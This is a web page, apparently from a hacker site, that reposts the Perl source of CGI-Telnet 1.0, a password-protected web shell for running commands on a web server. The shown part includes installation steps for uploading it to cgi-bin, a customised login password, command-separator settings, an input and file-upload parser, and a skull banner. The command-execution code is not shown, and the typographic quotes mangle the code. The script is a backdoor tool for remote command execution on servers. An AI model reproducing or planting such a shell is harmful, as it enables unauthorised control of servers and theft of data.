Welcome, Saudaraku

#!/usr/bin/perl
#——————————————————————————
# Copyright and Licence
#——————————————————————————
# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
#
# Copyright (C) 2001 Rohitab Batra
# Permission is granted to use, distribute and modify this script so long
# as this copyright notice is left intact. If you make changes to the script
# please document them and inform me. If you would like any changes to be made
# in this script, you can e-mail me.
#
# Author: Rohitab Batra
# Author e-mail: rohitab@rohitab.com
# Author Homepage: http://www.rohitab.com/
# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
# Product Support: http://www.rohitab.com/support/
# Discussion Forum: http://www.rohitab.com/discuss/
# Mailing List: http://www.rohitab.com/mlist/
#——————————————————————————

#——————————————————————————
# Installation
#——————————————————————————
# To install this script
#
# 1. Modify the first line “#!/usr/bin/perl” to point to the correct path on
# your server. For most servers, you may not need to modify this.
# 2. Change the password in the Configuration section below.
# 3. If you’re running the script under Windows NT, set $WinNT = 1 in the
# Configuration Section below.
# 4. Upload the script to a directory on your server which has permissions to
# execute CGI scripts. This is usually cgi-bin. Make sure that you upload
# the script in ASCII mode.
# 5. Change the permission (CHMOD) of the script to 755.
# 6. Open the script in your web browser. If you uploaded the script in
# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
# 7. Login using the password that you specified in Step 2.
#——————————————————————————

#——————————————————————————
# Configuration: You need to change only $Password and $WinNT. The other
# values should work fine for most systems.
#——————————————————————————
$Password = “ernasayang”; # Change this. You will need to enter this
# to login.

$WinNT = 0; # You need to change the value of this to 1 if
# you’re running this script on a Windows NT
# machine. If you’re running it on Unix, you
# can leave the value as it is.

$NTCmdSep = “&”; # This character is used to seperate 2 commands
# in a command line on Windows NT.

$UnixCmdSep = “;”; # This character is used to seperate 2 commands
# in a command line on Unix.

$CommandTimeoutDuration = 100; # Time in seconds after commands will be killed
# Don’t set this to a very large value. This is
# useful for commands that may hang or that
# take very long to execute, like “find /”.
# This is valid only on Unix servers. It is
# ignored on NT Servers.

$ShowDynamicOutput = 1; # If this is 1, then data is sent to the
# browser as soon as it is output, otherwise
# it is buffered and send when the command
# completes. This is useful for commands like
# ping, so that you can see the output as it
# is being generated.

# DON’T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU’RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? “cd” : “pwd”);
$PathSep = ($WinNT ? “\\” : “/”);
$Redirector = ($WinNT ? ” 2>&1 1>&2″ : ” 1>&1 2>&1″);

#——————————————————————————
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{‘f’} and the data is stored in $in{‘filedata’}.
# Other variables can be accessed using $in{‘var’}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#——————————————————————————
sub ReadParse
{
local (*in) = @_ if @_;
local ($i, $loc, $key, $val);

$MultipartFormData = $ENV{‘CONTENT_TYPE’} =~ /multipart\/form-data; boundary=(.+)$/;

if($ENV{‘REQUEST_METHOD’} eq “GET”)
{
$in = $ENV{‘QUERY_STRING’};
}
elsif($ENV{‘REQUEST_METHOD’} eq “POST”)
{
binmode(STDIN) if $MultipartFormData & $WinNT;
read(STDIN, $in, $ENV{‘CONTENT_LENGTH’});
}

# handle file upload data
if($ENV{‘CONTENT_TYPE’} =~ /multipart\/form-data; boundary=(.+)$/)
{
$Boundary = ‘–’.$1; # please refer to RFC1867
@list = split(/$Boundary/, $in);
$HeaderBody = $list[1];
$HeaderBody =~ /\r\n\r\n|\n\n/;
$Header = $`;
$Body = $’;
$Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
$in{‘filedata’} = $Body;
$Header =~ /filename=\”(.+)\”/;
$in{‘f’} = $1;
$in{‘f’} =~ s/\”//g;
$in{‘f’} =~ s/\s//g;

# parse trailer
for($i=2; $list[$i]; $i++)
{
$list[$i] =~ s/^.+name=$//;
$list[$i] =~ /\”(\w+)\”/;
$key = $1;
$val = $’;
$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
$val =~ s/%(..)/pack(“c”, hex($1))/ge;
$in{$key} = $val;
}
}
else # standard post data (url encoded, not multipart)
{
@in = split(/&/, $in);
foreach $i (0 .. $#in)
{
$in[$i] =~ s/\+/ /g;
($key, $val) = split(/=/, $in[$i], 2);
$key =~ s/%(..)/pack(“c”, hex($1))/ge;
$val =~ s/%(..)/pack(“c”, hex($1))/ge;
$in{$key} .= “” if (defined($in{$key}));
$in{$key} .= $val;
}
}
}

#——————————————————————————
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#——————————————————————————
sub PrintPageHeader
{
$EncodedCurrentDir = $CurrentDir;
$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/’%’.unpack(“H*”,$1)/eg;
print “Content-type: text/html\n\n”;
print <<END;

$HtmlMetaHeader

END
}

 _____  _____  _____          _____        _               _
/  __ \|  __ \|_   _|        |_   _|      | |             | |
| /  \/| |  \/  | |   ______   | |    ___ | | _ __    ___ | |_
| |    | | __   | |  |______|  | |   / _ \| || '_ \  / _ \| __|
| \__/\| |_\ \ _| |_           | |  |  __/| || | | ||  __/| |_
 \____/ \____/ \___/           \_/   \___||_||_| |_| \___| \__| 1.0

                      ______             � 2001, Rohitab Batra
                   .-"      "-.
                  /            \
                 |              |
                 |,  .-.  .-.  ,|
                 | )(_o/  \o_)( |
                 |/     /\     \|
       (@_       (_     ^^     _)
  _     ) \_______\__|IIIIII|__/_______________________
 (_)@8@8{}<________|-\IIIIII/-|________________________>
        )_/        \          /
       (@           `--------`
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